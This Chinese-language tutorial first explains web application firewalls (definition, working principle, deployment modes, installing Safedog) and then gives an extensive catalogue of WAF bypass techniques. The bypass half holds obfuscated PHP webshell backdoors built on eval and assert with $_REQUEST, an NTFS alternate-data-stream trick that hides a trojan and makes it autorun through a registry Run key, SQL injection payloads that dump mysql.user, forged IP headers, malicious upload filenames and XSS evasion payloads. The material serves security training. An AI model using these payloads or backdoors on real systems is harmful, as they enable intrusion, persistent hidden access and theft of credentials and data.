文章目录:
一:前言
1.简介
1.1 引入
1.2 定义
1.3 WAF和其他攻击的区别
1.4 WAF与防火墙的区别
2.主要功能
3.什么情况下使用waf
4.分类
5.工作原理
6.部署方式
7.WAF部署
a 阿里云盾
b 安全狗
c 宝塔面板
8.Webshell免杀
9.Webshell后门分析
二:绕过方法
1.WAF注入绕过
1.1 WAF身份认证阶段的绕过
1.2 WAF数据包解析阶段的绕过
2.文件上传绕过WAF
3.XSS绕过WAF
一:前言
1.简介
1.1 引入
因为HTTP是一个开放的协议,如果我们的产品要对外提供用户服务,那Web服务一般部署运行在公网上,任何人都可以访问,所以天然就会成为黑客的攻击目标
1.2 定义
Web应用防护墙(Web Application Firewall)简称WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品(服务器安全防护软件)WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性WAF通过监控、过滤和阻止恶意的HTTP请求和响应,确保Web应用程序的安全性和可用性它专注于保护Web应用程序层,可以检测和防御多种类型的Web攻击:如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等WAF还可以提供日志记录功能,用于记录和分析攻击、事件和正常应用程序行为
1.3 WAF和其他攻击的区别
WAF 是一种防御机制,旨在保护Web应用程序免受各种网络攻击
网络攻击 是一种恶意行为,试图破坏、窃取或篡改数据
WAF与其他网络攻击的区别性质不同:WAF是一种防御机制,旨在保护Web应用程序免受攻击网络攻击则是一种恶意行为,旨在破坏、窃取或篡改数据,或使系统无法正常工作作用方式不同:WAF通过配置安全策略、规则引擎等方式,自动检测和拦截恶意流量网络攻击则利用系统或应用程序的漏洞,或通过社会工程学等手段,试图绕过安全措施,达到攻击目的目标不同:WAF的目标是保护Web应用程序和数据的安全,确保用户能够正常使用Web服务网络攻击的目标则是破坏系统的完整性、可用性或保密性,或窃取敏感信息防御与攻击的关系:WAF是防御网络攻击的重要工具之一,它可以帮助组织识别和阻止多种类型的网络攻击网络攻击则是WAF需要防御的对象,WAF通过不断更新和改进其防御能力,以应对不断变化的网络威胁WAF与其他网络安全工具的比较虽然WAF与其他网络安全工具(如网络防火墙、入侵检测系统IDS等)在保护网络安全方面都具有重要作用,但它们之间存在明显的差异:焦点不同:WAF专注于保护Web应用程序,主要关注Web层攻击;而其他网络安全工具可能涵盖更广泛的领域,如网络层攻击等层级不同:WAF工作在应用层,通过深入分析HTTP请求和响应来检测和防御攻击;而其他网络安全工具可能在不同层级进行操作,如网络防火墙在网络层工作检测方式不同:WAF通过正则表达式、规则引擎等方式检测Web攻击,关注特定的攻击模式;而其他网络安全工具可能使用不同的检测方式,如IDS使用特征匹配、异常检测等部署位置不同:WAF通常部署在Web服务器前端,与Web应用程序直接交互;而其他网络安全工具可以部署在不同的位置,如边界防火墙位于网络边界
1.4 WAF与防火墙的区别
一、定义与工作原理WAF定义:WAF是一种专门用于保护Web应用程序的安全防护措施工作原理:WAF通过监控、过滤和分析HTTP/HTTPS流量,识别和阻止恶意请求,从而保护Web应用程序免受各种网络攻击防火墙定义:防火墙是一种网络安全系统,旨在监控和控制网络流量,根据预定义的安全规则决定是否允许数据包的传输工作原理:防火墙通过检查数据包的源地址、目标地址、端口号和协议类型等信息,来判断数据包的合法性,并据此决定是否允许其通过二、防护层面与目的WAF防护层面:WAF主要防护OSI模型的第7层,即应用层防护目的:WAF专注于保护Web应用程序免受常见的网络攻击,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等防火墙防护层面:防火墙主要防护OSI模型的第3层(网络层)和第4层(传输层)防护目的:防火墙旨在保护内部网络免受外部威胁,防止未经授权的访问,并在企业网络和互联网之间建立一道安全屏障三、主要功能WAFSQL注防护:WAF能够检测并阻止SQL注入攻击,防止攻击者通过恶意SQL语句获取、修改或删除数据库中的数据。XSS防护:WAF能够识别并阻止XSS攻击,防止攻击者在Web页面中插入恶意脚本CSRF防护:WAF能够检测并阻止CSRF攻击,防止攻击者伪造用户请求应用层DDoS防护:WAF能够检测并缓解应用层DDoS攻击,通过流量限制、速率控制等措施保护Web应用程序安全日志记录和分析:WAF能够记录所有检测到的安全事件和攻击行为,提供详细的日志和报表防火墙流量过滤:防火墙通过预定义的安全规则来过滤网络流量,只允许合法的数据包通过阻止恶意攻击:防火墙能够识别和阻止各种网络攻击,如DDoS攻击、恶意软件等记录网络活动:防火墙能够记录网络中的各种活动,包括数据包的传输、访问尝试等访问控制:防火墙通过配置访问控制列表(ACLs)和规则集,精细地管理哪些用户、设备或应用可以访问特定的系统资源集中安全管理:防火墙可以作为一个集中的安全控制点,统一管理和监控网络中的安全策略、日志和事件四、部署与应用WAFWAF可以部署在云平台或本地,适用于需要保护Web应用程序的各种场景WAF通常与Web服务器紧密集成,以确保对HTTP/HTTPS流量的实时监控和过滤防火墙防火墙可以部署在云平台和本地,适用于保护整个网络环境防火墙通常部署在网络的边界上,充当已知威胁和未知威胁之间的一道屏障
2.主要功能
木马主动防御及查杀:网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%流量监控:能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况网站漏洞防御功能:可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为危险组件防护功能:全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全.Net安全保护模块:快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全双层防盗链链接模式:可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面网站特定资源防下载:支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载CC攻击防护:自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击网站流量保护:支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量IP黑白名单全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任
3.什么情况下使用waf
保护Web应用程序免受各种Web攻击
1.业务类型需求电子商务:电商网站具有庞大的用户群体和大量的交易数据,因此需要WAF来保护用户数据、防止支付欺诈和其他网络攻击WAF可以有效检测和阻止如SQL注入、跨站脚本攻击(XSS)等网络攻击,确保用户信息不被窃取金融服务:金融机构网站承载着大量的财务数据和敏感信息WAF能够加强网上银行、移动银行等在线服务的安全性,防范金融诈骗,保护客户数据和交易安全媒体和内容提供商:WAF可以防止盗链、恶意爬虫和其他攻击,从而保护内容的安全和版权政府和公共服务:政府网站、在线服务和电子政务系统的安全性对于国家和公众都至关重要WAF可以抵御各种网络攻击,保护政府机构网站免受黑客的破坏和非法篡改,维护公众利益医疗保健:医院、医疗机构和健康信息系统的敏感数据和隐私同样需要WAF的保护教育机构:学校、大学和在线教育平台的学和教师信息安全也至关重要,WAF能够保障校园网络和教育资源的安全,防止敏感信息泄露2.特定场景需求保护关键业务系统:WAF可以保护企业ERP、CRM等关键业务系统免受外部攻击,确保业务正常运行应对高流量场景:硬件WAF通常具有高性能和低延迟,适用于高流量的Web应用程序提高可用性和性能:云WAF可以提供全球分布的节点,从而提高Web应用程序的可用性和性能3.安全策略需求基于规则的检测:WAF通常采用基于规则的检测技术,通过预定义规则或自定义规则来检测并拦截恶意流量防止漏洞利用:WAF能够检测和拦截各种漏洞利用攻击,如SQL注入、XSS、CSRF等流量控制和访问控制:WAF可以通过安全策略来限制流量的来源、目标和类型,实现更精细的流量控制和访问控制4.合规性需求在某些行业或地区,使用WAF可能符合特定的安全合规要求例如,金融行业、医疗行业等对于数据安全和隐私保护有严格的规定,使用WAF可以帮助这些行业满足合规要求
4.分类
硬件Waf:绿盟、安恒、启明、知道创宇等硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护软件Waf:安全狗、云锁、中间件自带的Waf模块软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现云WAF:阿里云、安全狗、知道创宇、安恒云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理自定义WAF网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等
5.工作原理
1.预处理预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分2.规则检测每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为3.处理模块针对不同的检测结果,处理模块会做出不同的安全防御动作如果符合规则则交给后端Web服务器进行响应处理对于不符合规则的请求会执行相关的阻断、记录、告警处理不同的WAF产品会自定义不同的拦截警告页面4.日志记录WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析
6.部署方式
1.透明网桥(透明代理模式)工作原理:当Web客户端对服务器有连接请求时,TCP连接请求被WAF截取和监控WAF代理了Web客户端和服务器之间的会话,将会话分成了两段,并基于桥模式进行转发从Web客户端的角度看,它仍然是直接访问服务器,感知不到WAF的存在特点:对网络的改动最小,可以实现零配置部署另外,通过WAF的硬件Bypass功能,在设备出现故障或掉电时,可以不影响原有网络流量,只是WAF自身功能失效然而,这种部署方式下,网络的所有流量(HTTP和非HTTP)都经过WAF,对WAF的处理性能有一定要求,且无法实现服务器负载均衡功能2.反向代理模式工作原理:将真实服务器的地址映射到反向代理服务器上,此时代理服务器对外表现为一个真实服务器当代理服务器收到HTTP的请求报文后,将该请求转发给其对应的真实服务器后台服务器接收到请求后将响应先发送给WAF设备,由WAF设备再将应答发送给客户端特点:需要对网络进行改动,配置相对复杂除了要配置WAF设备自身的地址和路由外,还需要在WAF上配置后台真实Web服务器的地址和虚地址的映射关系如果原来服务器地址是全局地址(没经过NAT转换),那么通常还需要改变原有服务器的IP地址以及DNS解析地址这种部署模式的优点是可以在WAF上同时实现负载均衡3.镜像流量(端口镜像模式)工作原理:WAF旁路接在Web服务器上游的交换机上,使用交换机的端口镜像功能,将交换机端口上的HTTP流量镜像一份给WAFWAF只对HTTP流量进行监控和报警,不进行拦截阻断。对于WAF而言,流量只进不出特点:部署相对简单,对现有网络架构影响较小但是,需要确保镜像流量的实时性和准确性。此外,在这种模式下,WAF只能进行监控和报警,无法直接阻断异常流量4.路由代理模式工作原理:与透明网桥模式类似,但工作在路由转发模式而非网桥模式。需要为WAF的转发接口配置IP地址以及路由特点:需要对网络进行简单改动,要设置WAF设备内网口和外网口的IP地址以及对应的路由工作在路由代理模式时,WAF可以直接作为Web服务器的网关,但存在单点故障问题,同时也要负责转发所有的流量这种工作模式也不支持服务器负载均衡功能然而,它能够对流经OSI应用层的数据进行分析,对其他层的流量不作控制,因此具有快速、方便、简单的特点
7.WAF部署
a 阿里云盾
购买云服务器 ECS 即可免费使用云盾的基础功能
b 安全狗
安全狗软件
1.关闭apache程序及httpd.exe进程2.运行cmd,cd进入apache/bin文件夹目录 cd C:\phpStudy\Apache\bin执行httpd.exe -k install -n apache2.4.39 安全狗安装服务名称填写apache2.4.39打开apache,打开安全狗安装包进行安装 安装完成后点击安装安全狗插件
c 宝塔面板
宝塔面板 - 简单好用的Linux/Windows服务器运维管理面板
8.Webshell免杀
1.把马创建成涵数,后面只要调用涵数就行2.变量覆盖3.组合法4.在线加密5.文件包含<?php$filename = $_GET['filename']; include($filename); ?>6.通过NTFS交换数据流文件实现文件隐藏echo hello>>test.txt:webshell.php 创建数据流文件dir/r 查看数据流文件notepad muma.php 新建一个一句话木马文件通过命令 type muma.php>>test.txt:muma.php 创建新的交换数据流文件数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
9.Webshell后门分析
1.抓包分析法2.数据流量协议分析法3.代码分析定位法
二:绕过方法
1.WAF注入绕过
白名单黑名单身份认证--数据包解析--规则判断--拦截
1.1 WAF身份认证阶段的绕过
伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击 这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher点击你要添加的分组然后点击New User Agent… 输入User Agent信息然后点击确定 然后选择你要模拟的的User Agent 选择后刷新页面即可 也可以通过手工修改User-Agent, 在火狐浏览器地址栏输入“about:config”,按下回车进入设置菜单找到“general.useragent.override”,如果没有这一项,则点右键“新建”->“字符串”, 将其值设为自己想要的UserAgent(如:Baiduspider)也可以用burp来修改User-Agent
伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user可以改为:www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user或者www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过
1.2 WAF数据包解析阶段的绕过
编码绕过URL编码二次URL编码assert(base64_decode('cGhwaW5mbygpOw=='));其他编码:例如Unicode编码,Base64编码,Hex编码,ASCII编码等,十六进制编码修改请求方式绕过:有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过GET /xxx/?id=1+and+sleep(4)POST/xxx/?id=1+and+sleep(4)空格替换%0a%0a/**/ /*|%23--%23|*/空白符+-@!注释符/**/&()''2个空格等号替换like rlike换行替换:%23%0a、%2d%2d%0a%0A 是url编码中的换行%23 是url编码中的 #关键字替换 COMMAND | WHAT TO USE INSTEAD@@version | version()concat() | concat_ws()group_concat() | concat_ws()字符替换greatest | 替换 > least | 替换 <in | 替换 =between and | 替换 =逻辑符号替换and | && or | || xor | | not | !双写替换法http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4…使用大小写http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….%绕过?id=1 union select 1, 2, 3 from admin?id=1 union s%e%lect 1, 2, 3 from admin%00截断?a=1&id=1and sleep(3) ?a=1%00.&id=1and sleep(3)内联注释绕过?id=1+and+sleep(3)+and+1=2?id=1+and+/*!50001sleep(3)*/+and+1=2常见的用于注释的符号有哪些:/*/, -- , //, #, --+,-- -, ;,--a;/!50000xx*/超大数据包绕过 ?id=1+and+sleep(3) ?id=1+and+sleep(3) )+and+111111111=11111111111111111111宽字节绕过:因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠/'(%5C%27)正常payload:?id=1'and 1=1--+尝试直接提交转义后的单引号:?id=1%5C%27and 1=1--+ 通常这样的提交会被视为无效,因为转义字符(\)和单引号(')已经被视为一个整体了,无法再闭合字符串 尝试宽字节绕过:?id=1%df%27and 1=1--+%df 是一个GBK编码(或其他宽字节编码)中的高字节攻击者希望这个高字节与后面的 %27(单引号)组合成一个合法的宽字节字符,从而绕过对单引号的转义处理拼接变量拼接绕过//如果对phpinfo检测,可以把参数改为$a='php';$b='info';$c=$a.$b;$c();拼接免杀$a='ev';$b='al';$c=$a.$b;$d='c';$$d($_REQUEST['A']);//等价于eval($_REQUEST['A']);函数绕过字符替换绕过:assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));end免杀函数取数组最后一个元素:eval(end($_REQUEST['A'])); strcmp函数:比较两个值大小,相等返回0 后者比前者大返回-1 小返回1?id=-1' union select srtcmp(ascii(substr(database(),0,1)),100) --+函数免杀function abc($b){returb $b;}$a = abc("$_REQUEST['A']");eval($a);类定义绕过class user{$name='';function __construct($name){$this->name=$name;}function __destruct(){eval($this->name);}}$a=new user($_REQUEST['A']);利用WAF本身的功能绕过:假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....云waf伪造ip头 X-Originating-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1X-Client-IP: 127.0.0.1
2.文件上传绕过WAF
文件名后缀绕过demo.php.xxxphp.php等号绕过:在filename后多添加两个等号filename==="1.php"填充垃圾字符:在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验Content-Disposition:aaaaaaafrom-data;name="uploadtime";突破绕过突破0,文件名前缀加[0x09]绕过Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp”Content-Type: text/html突破1,文件名去掉双引号绕过Content-Disposition: form-data; name=”filepath”; filename=backlion.aspContent-Type: text/html突破2,添加一个filename的文件名参数,并赋值绕过,两个看哪一个可以过去Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename=”test.jpg”Content-Type: text/html突破3,form变量改成f+orm组合绕过Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp”Content-Type: text/html突破4 ,文件名后缀大小写绕过ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp”Content-Type: text/html突破5 ,去掉form-data变量绕过ConTent-Disposition: name=”filepath”; filename=”backlion.asp”Content-Type: text/html突破6,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过ConTent-Disposition: form-data ; name=”filepath”; filename=”backlion.asp”Content-Type: text/htmlConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp”Content-Type: text/html突破7 ,backlion.asp . (空格+.)绕过ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .”Content-Type: text/html突破8 ,“回车换行,绕过ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”Content-Type: text/html突破9 ,NTFS流 在文件名后加::$DATA绕过ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA”Content-Type: text/htmlConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg”Content-Type: text/html突破10,将Content-Type和ConTent-Disposition调换顺序位置绕过Content-Type: text/htmlConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”突破11,在文件名前缀加空格(tab键可替换)绕过Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp”Content-Type: text/html突破12,在form-data加空格绕过Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp”Content-Type: text/html突破13,在form-data的前后加上+绕过Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp”Content-Type: text/htmlContent-Disposition: form-data+; name=”filepath”; filename=”backlion.asp”Content-Type: text/html
3.XSS绕过WAF
大小写绕过将<script>标签变为<SCRIPT>或<sCRIpT>,将alert函数变为aLeRT或ALERT等javascript伪协议JavaScript伪协议是一种在URL中嵌入JavaScript代码的方法例如,在<a>标签的href属性中,可以写入javascript:alert(1)来执行JavaScript代码值得注意的是,引号通常可以去掉,支持伪协议的属性还有lowsrc、bgsound、background、action、dynsrc等没有分号在JavaScript中,语句通常以分号结尾然而,如果JavaScript引擎能够判断一条语句是完整的,并且结尾有换行符,那么就可以省略分号例如,将alert(1);变为alert(1)(没有分号),如果WAF没有考虑到这种情况,那么就可能无法检测到这条恶意语句Flash虽然Flash技术已经逐渐被淘汰,但在一些旧的Web应用中仍然可能存在Flash插件。攻击者可以利用Flash中的漏洞来执行XSS攻击,并尝试绕过WAF的检测然而,随着Flash的逐渐淘汰,这种方法已经变得不那么常见了HTML5 新标签HTML5引入了一些新的标签和属性,这些新特性可能会被WAF所忽略。攻击者可以利用这些新标签和属性来构造恶意payload,并尝试绕过WAF的检测例如,使用<audio>或<video>标签的onerror事件来执行恶意脚本Fuzz进行测试Fuzz测试是一种自动化的测试方法,用于发现软件中的漏洞。攻击者可以使用Fuzz测试工具来生成大量的恶意payload,并尝试绕过WAF的检测通过不断尝试和修改payload,攻击者可能会发现WAF的漏洞或弱点,并利用它们来执行XSS攻击双层标签绕过<div><script>alert(1)</script></div>这样的结构来隐藏恶意代码